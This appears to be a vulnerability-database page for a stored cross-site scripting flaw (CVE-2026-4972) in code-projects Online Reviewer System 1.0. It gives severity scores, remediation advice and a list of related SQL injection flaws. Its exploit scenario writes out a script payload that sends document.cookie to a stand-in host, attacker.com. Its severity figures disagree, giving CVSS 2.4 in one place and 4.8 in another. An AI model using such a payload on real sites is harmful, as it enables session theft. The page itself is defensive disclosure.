EUVD-2026-16805Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | Despite the public availability of exploit code, the real-world risk of this vulnerability is low due to multiple constraining factors. The CVSS score of 2.4 reflects minimal impact: integrity is limited to low (I:L, affecting only the displayed content), with no confidentiality or availability impact. The CVSS vector shows PR:H (high privilege required), meaning only administrators or highly privileged users can exploit it, and UI:R (user interaction required), indicating a victim must view the malicious payload for it to execute. The EPSS metric is not provided, but the combination of high-privilege requirement, low impact, and required user interaction suggests this ranks low in practical exploitability compared to unauthenticated remote code execution vulnerabilities. The public POC availability (E:P in CVSS) increases visibility but does not change the fundamental access barrier. This is a privilege escalation or insider-threat scenario rather than a critical remote threat. |
| Exploit ScenarioDerived | An administrator with high-level privileges submits an assessment form with a malicious JavaScript payload embedded in the Description field (e.g., <script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>). The payload is stored in the database without sanitization. When another user with appropriate permissions views the assessment details, the JavaScript executes in their browser context, potentially stealing session cookies or performing actions on their behalf. Public exploit code demonstrating this technique has been disclosed on GitHub, making reproduction straightforward for those with administrative access, though the requirement for high privileges and user interaction significantly limits real-world attack surface. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 27, 2026
Stored cross-site scripting (XSS) in code-projects Online Reviewer System up to version 1.0 allows authenticated users with high privileges to inject malicious scripts via the Description parameter in /system/system/students/assessments/databank/btn_functions.php, which are then executed in the context of other users' browsers. The vulnerability requires user interaction (UI:R) and has publicly available exploit code, but poses minimal real-world risk given the high privilege requirement (PR:H) and low impact severity (CVSS 2.4).
RemediationAI
Upgrade to a version of code-projects Online Reviewer System newer than 1.0 if available; no specific patched version number is confirmed in the available data. The primary remediation is input validation and output encoding: ensure all user-supplied input to the Description parameter is validated against a whitelist of acceptable characters and HTML-encoded (or properly escaped) before storage and display. Implement content security policy (CSP) headers to mitigate stored XSS impact. As a temporary workaround pending an upgrade, restrict access to the assessment databank to trusted administrators only and review audit logs for suspicious Description entries. For detailed vulnerability information and any vendor patches, consult https://vuldb.com/?id.353859 and the code-projects project repository.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exists in a PHP-based learning management system where user-supplied input from the Description parameter is not properly sanitized or encoded before being stored in a database and subsequently rendered in HTML responses. This is a classic stored XSS flaw (CWE-79: Improper Neutralization of Input During Web Page Generation) affecting the Online Reviewer System's assessment databank functionality. The cpe:2.3:a:code-projects:online_reviewer_system:*:*:*:*:*:*:*:* designation indicates all versions up to and including 1.0 are vulnerable. The attack vector is network-based (AV:N) with low complexity (AC:L), meaning exploitation requires no special conditions beyond network access, but the PR:H (high privilege) requirement means only administrators or high-privileged account holders can inject the payload.
Know when Online Reviewer System gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from Vendor (VulDB) · only source for this CVE.
CVSS VectorVendor: VulDB
Lifecycle Timeline
4DescriptionCVE.org
A security vulnerability has been detected in code-projects Online Reviewer System up to 1.0. Affected is an unknown function of the file /system/system/students/assessments/databank/btn_functions.php. Such manipulation of the argument Description leads to cross site scripting. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.
Executive ViewAI
Organizations using code-projects Online Reviewer System should be aware of moderate risk from CVE-2026-4972, a cross-site scripting vulnerability rated CVSS 4.8. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Proof-of-concept code is publicly available. Organizations should apply vendor updates when available and monitor for exploitation.
Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Online Reviewer System
View allRemote Code Execution (RCE) vulnerability exists in Sourcecodester Online Reviewer System 1.0 by uploading a maliciously
Online Reviewer System 1.0 contains a SQL injection vulnerability through authentication bypass, which may lead to a rev
A vulnerability was found in SourceCodester Online Reviewer System 1.0 and classified as critical. Rated medium severity
SQL injection in SourceCodester Online Reviewer System 1.0 allows unauthenticated remote attackers to alter the SQL quer
SQL injection in the Online Reviewer System 1.0 login function allows unauthenticated remote attackers to manipulate use
SQL injection in code-projects Online Reviewer System 1.0 via the ID parameter in the questions-view.php file allows una
SQL injection in Online Reviewer System 1.0 allows unauthenticated remote attackers to manipulate the test_id parameter
SQL injection in the login component of code-projects Online Reviewer System 1.0 allows unauthenticated remote attackers
SQL injection in code-projects Online Reviewer System 1.0 via the difficulty_id parameter in /system/system/admins/asses
SQL injection in code-projects Online Reviewer System 1.0 allows unauthenticated remote attackers to manipulate the ID p
SQL injection in code-projects Online Reviewer System 1.0 via the difficulty_id parameter in /system/system/admins/asses
SQL injection in code-projects Online Reviewer System 1.0 allows remote attackers to manipulate the test_id parameter in
Exploit-DB